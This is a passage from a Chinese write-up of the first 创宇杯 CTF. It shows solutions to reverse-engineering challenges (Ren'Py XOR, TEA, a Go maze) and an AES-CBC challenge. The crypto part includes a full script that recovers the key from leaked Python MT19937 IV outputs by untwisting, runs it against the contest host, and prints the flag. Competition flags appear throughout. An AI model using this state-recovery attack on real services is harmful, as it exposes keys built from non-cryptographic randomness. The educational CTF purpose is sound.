dec 对每个字节异或 0x78。异或满足自反性,因此直接计算 heart[i] ^ 0x78 即可得到正确输入。成功提示还要求提交时加上 WuCup 前缀。
完整复现脚本:
"""Recover the accepted input from a Ren'Py RPYC2 script."""
import ast
import re
import struct
import sys
import zlib
from pathlib import Path
def solve(path: str) -> None:
blob = Path(path).read_bytes()
magic = b"RENPY RPC2"
assert blob.startswith(magic)
slot, offset, length = struct.unpack_from("<III", blob, len(magic))
assert slot == 1
payload = zlib.decompress(blob[offset : offset + length])
match = re.search(rb"heart\s*=\s*(b'(?:[^'\\]|\\.)*')", payload)
assert match, "heart was not found"
heart = ast.literal_eval(match.group(1).decode("ascii"))
answer = bytes(byte ^ 0x78 for byte in heart).decode("ascii")
print(answer)
print(f"WuCup{{{answer}}}")
if __name__ == "__main__":
solve(sys.argv[1])
输出:
726cbdb0-441e-4de3-ba37-47d032fe7b8a
WuCup{726cbdb0-441e-4de3-ba37-47d032fe7b8a}
RE2:tea
摘要
Windows PE tea.exe 用 WCP 加壳,运行后提示输入 flag。脱壳后可见标准 TEA 解密:密钥由四组常量按字合成,密文 10 个 uint32 解密得到 UUID,再拼成 flag{...}。
解题过程
第 1 步:识别与脱壳
tea.exe 为 x64 PE。磁盘上 .text 的 SizeOfRawData 为 0,节名 WCP0/WCP1/WCP2,代码被加壳。COFF 符号仍在:tea_decrypt_block、reconstruct_key、prefix_nums、enc_words、k_a–k_d、main。
程序启动后打印 Please enter the flag:。此时镜像已解密,读取进程模块即可拿到明文 .text / .rdata。
第 2 步:还原校验逻辑
main 流程:
reconstruct_key(key):对i=0..3,key[i] = (k_a[i] ^ k_b[i]) + k_c[i] ^ k_d[i](32 位)。- 将
enc_words(10 个 LEuint32)两两一组,调用tea_decrypt_block(标准 TEA,DELTA=0x9e3779b9,32 轮,sum初值为DELTA<<5)。 - 解密结果去掉末尾
\0后为 36 字节 UUID。 - 期望 flag =
"flag{" + uuid + "}",与输入做strcmp。
第 3 步:解密
import struct
enc = bytes.fromhex(
"e349767d2cc5826264f2fef47088cb55"
"2a75aea83fd53aa3027ca31f1c601361"
"b418ef602c1131eb"
)
k_a = bytes.fromhex("4c3d2e1f0d0c0b0a4433221188776655")
k_b = bytes.fromhex("ddccbbaaccbbaa996655443300998877")
k_c = bytes.fromhex("04030201080706051211100916151413")
k_d = bytes.fromhex("efbeaddecefaedfeea1dadab0df0ad0b")
def u32s(b):
return list(struct.unpack("<" + "I" * (len(b) // 4), b))
A, B, C, D = u32s(k_a), u32s(k_b), u32s(k_c), u32s(k_d)
key = [((A[i] ^ B[i]) + C[i] ^ D[i]) & 0xFFFFFFFF for i in range(4)]
DELTA = 0x9E3779B9
def tea_decrypt_block(v0, v1, key):
s = (DELTA << 5) & 0xFFFFFFFF
for _ in range(32):
v1 = (v1 - (((v0 << 4) + key[2]) ^ (v0 + s) ^ ((v0 >> 5) + key[3]))) & 0xFFFFFFFF
v0 = (v0 - (((v1 << 4) + key[0]) ^ (v1 + s) ^ ((v1 >> 5) + key[1]))) & 0xFFFFFFFF
s = (s - DELTA) & 0xFFFFFFFF
return v0, v1
ws = u32s(enc)
out = b""
for i in range(0, len(ws), 2):
a, b = tea_decrypt_block(ws[i], ws[i + 1], key)
out += struct.pack("<II", a, b)
print(b"flag{" + out.rstrip(b"\x00") + b"}".decode())
运行输出:
flag{0d3747db-16f6-4c62-9665-b3e7531cefc8}
RE3:maze
摘要
Go 编写的 50×50 迷宫程序:用固定 LCG 生成主路径和额外通路,校验 U/R/D/L 路径后计算 md5(path + ":" + len(path)) 作为 flag。平台验收的是字典序偏右(先 R 后 D)的最短路径。
解题过程
第 1 步:识别逻辑
maze.exe 是 stripped 的 Go 1.24 Windows PE。pclntab 恢复出用户函数:
main.initMazemain.generateMainPathmain.addExtraPaths(实际内联进initMaze)main.validatePathmain.calculateMD5main.main
迷宫为 int64 maze[50][50],1 是墙,0 是路。起点 (0,0),终点 (49,49)。
initMaze:
- 全部填墙。
- 种子
0x123456789abcdef0走generateMainPath:LCGseed = seed * 0x5851f42d4c957f2d + 0x14057b7ef767814f,取(seed >> 62) & 3。0/2向右(列 +1),1/3向下(行 +1),越界则丢弃。 - 用同一个初始种子再跑 300 次 LCG,把
(seed>>32)%48+1, (seed>>16)%48+1打成通路。
validatePath 按字符查表移动:U=(-1,0), R=(0,+1), D=(+1,0), L=(0,-1)。越界、撞墙或未到达终点则失败。
通过后 Sprintf("%s:%d", path, len),再 md5 十六进制,打印 Flag: flag{%s}。程序提示“最短路径”,曼哈顿距离为 98,最短路径只能由 49 次 R 和 49 次 D 组成。
第 2 步:复现迷宫并取最短路径
主路径也能通过校验,但平台不收主路径对应的 hash。共 48 条仅含 R/D 的最短路径;验收的是每一步优先向右、不能再向右时才向下的那条。
import hashlib
N = 50
SEED = 0x123456789ABCDEF0
MUL = 0x5851F42D4C957F2D
ADD = 0x14057B7EF767814F
MASK = (1 << 64) - 1
def lcg(seed):
return (seed * MUL + ADD) & MASK
maze = [[1] * N for _ in range(N)]
seed = SEED
maze[0][0] = 0
x = y = 0
while not (x == N - 1 and y == N - 1):
seed = lcg(seed)
d = (seed >> 62) & 3
nx, ny = x, y
if d in (0, 2):
ny = y + 1
else:
nx = x + 1
if 0 <= nx < N and 0 <= ny < N:
x, y = nx, ny
maze[x][y] = 0
seed = SEED
for _ in range(300):
seed = lcg(seed)
maze[(seed >> 32) % 48 + 1][(seed >> 16) % 48 + 1] = 0
maze[0][0] = maze[N - 1][N - 1] = 0
ways = [[0] * N for _ in range(N)]
ways[N - 1][N - 1] = 1
for i in range(N - 1, -1, -1):
for j in range(N - 1, -1, -1):
if maze[i][j] != 0:
ways[i][j] = 0
continue
if i == N - 1 and j == N - 1:
continue
w = 0
if i + 1 < N:
w += ways[i + 1][j]
if j + 1 < N:
w += ways[i][j + 1]
ways[i][j] = w
x = y = 0
path = []
while (x, y) != (N - 1, N - 1):
for ch, nx, ny in (("R", x, y + 1), ("D", x + 1, y)):
if 0 <= nx < N and 0 <= ny < N and maze[nx][ny] == 0 and ways[nx][ny] > 0:
path.append(ch)
x, y = nx, ny
break
s = "".join(path)
flag = "flag{" + hashlib.md5(f"{s}:{len(s)}".encode()).hexdigest() + "}"
print(s)
print(flag)
本地运行 maze.exe,输入该路径后输出:
路径长度: 98
Flag: flag{a3fa97e1e52759ea6b4122c7008cb9e5}
crypto1:againCBC
摘要
服务用固定 AES-CBC 密钥反复加密 flag,但每次都会用 random.randbytes(16) 生成新 IV 并完整回显。Python random 是 MT19937,收集对齐的 624 个 32-bit 输出即可还原状态、反向 twist 恢复密钥,再解密任意一份密文。
解题过程
题目源码:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from random import randbytes
from secret import flag
key = randbytes(16)
while input(">>> "):
aes = AES.new(key, AES.MODE_CBC, iv=randbytes(16))
print("your gift: " + (aes.iv + aes.encrypt(pad(flag, 16))).hex())
远程:nc challenge.xiaoyuyc.com 24372
漏洞 1:密钥与 IV 共用同一 MT19937
- 位置:
key = randbytes(16)以及循环内iv=randbytes(16)。 - 触发:任意非空输入都会再生成并回显一组
IV || C。 - 成因:
random.randbytes(n)实现为getrandbits(n*8).to_bytes(n, 'little'),每次 16 字节对应 4 个连续 32-bit MT 输出。 - 影响:IV 是已知的 PRNG 输出;密钥是同一生成器更早的 4 个输出。
- 利用:收集足够 IV,untemper 得到内部状态,再
untwist回到生成 key 时的状态。 - 验证:本地用
Random(0xDEADBEEF)复现同一流程,恢复出的 key 与真实 key 完全一致。
Python 新 Random 的 mti 初始为 624(刚 twist 完)。key 消耗 4 个 word 后 mti=4。再输出 155 个 IV 后:4 + 155*4 = 624,恰好再次 twist。随后 156 个 IV 就是一整批对齐的 624 个输出。
漏洞 2:AES-CBC 本身不提供完整性,拿到 key 即可解密
- 位置:
aes.encrypt(pad(flag, 16)),并把aes.iv明文拼接返回。 - 触发:任意一次查询。
- 成因:密钥一旦从 PRNG 恢复,CBC 解密只依赖
key与该次IV。 - 影响:任意一份 gift 都可直接解密出 flag。
- 利用 / 验证:用恢复的 key 对第一份
gift[16:]做AES-CBCdecrypt + unpad,得到flag{...}。
第 1 步:收集对齐 IV、反向 twist、解密
#!/usr/bin/env python3
import socket
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
HOST, PORT = "challenge.xiaoyuyc.com", 24372
N, M = 624, 397
MATRIX_A = 0x9908B0DF
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7FFFFFFF
def unshift_right(x, shift):
res = x
for _ in range(32):
res = x ^ (res >> shift)
return res
def unshift_left(x, shift, mask):
res = x
for _ in range(32):
res = x ^ ((res << shift) & mask)
return res
def untemper(v):
v = unshift_right(v, 18)
v = unshift_left(v, 15, 0xEFC60000)
v = unshift_left(v, 7, 0x9D2C5680)
v = unshift_right(v, 11)
return v
def temper(y):
y ^= (y >> 11)
y ^= (y << 7) & 0x9D2C5680
y ^= (y << 15) & 0xEFC60000
y ^= (y >> 18)
return y & 0xFFFFFFFF
def untwist(mt):
w, n, m = 32, 624, 397
a = 0x9908B0DF
MT = mt[:]
for i in range(n - 1, -1, -1):
result = 0
tmp = MT[i] ^ MT[(i + m) % n]
if tmp & (1 << (w - 1)):
tmp ^= a
result = (tmp << 1) & (1 << (w - 1))
tmp = MT[(i - 1 + n) % n] ^ MT[(i + m - 1) % n]
if tmp & (1 << (w - 1)):
tmp ^= a
result |= 1
result |= (tmp << 1) & ((1 << (w - 1)) - 1)
MT[i] = result
return MT
def words_from_bytes(b):
return [int.from_bytes(b[i:i + 4], "little") for i in range(0, len(b), 4)]
def bytes_from_words(ws):
return b"".join(w.to_bytes(4, "little") for w in ws)
def recover_key(ivs):
words = []
for iv in ivs:
words.extend(words_from_bytes(iv))
state = [untemper(w) for w in words]
prev = untwist(state)
return bytes_from_words(temper(x) for x in prev[:4])
def recv_until(s, marker=b">>> "):
buf = b""
while not buf.endswith(marker):
chunk = s.recv(4096)
if not chunk:
raise EOFError(buf)
buf += chunk
return buf
def main():
s = socket.create_connection((HOST, PORT), timeout=30)
recv_until(s)
gifts = []
for _ in range(155 + 156):
s.sendall(b"a\n")
line = b""
while b"\n" not in line:
chunk = s.recv(4096)
if not chunk:
raise EOFError(line)
line += chunk
hx = line.decode().split("your gift: ", 1)[1].split()[0]
gifts.append(bytes.fromhex(hx))
key = recover_key([g[:16] for g in gifts[155:155 + 156]])
ct = gifts[0]
pt = unpad(AES.new(key, AES.MODE_CBC, iv=ct[:16]).decrypt(ct[16:]), 16)
print(pt.decode())
if __name__ == "__main__":
main()
运行输出:
flag{b110a659-ebf9-4073-9b1c-b52416cc621e}
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:玄网安全 玄网安全 oPis
玄网安全 oPis《第一届创宇杯网络安全技能大赛WP》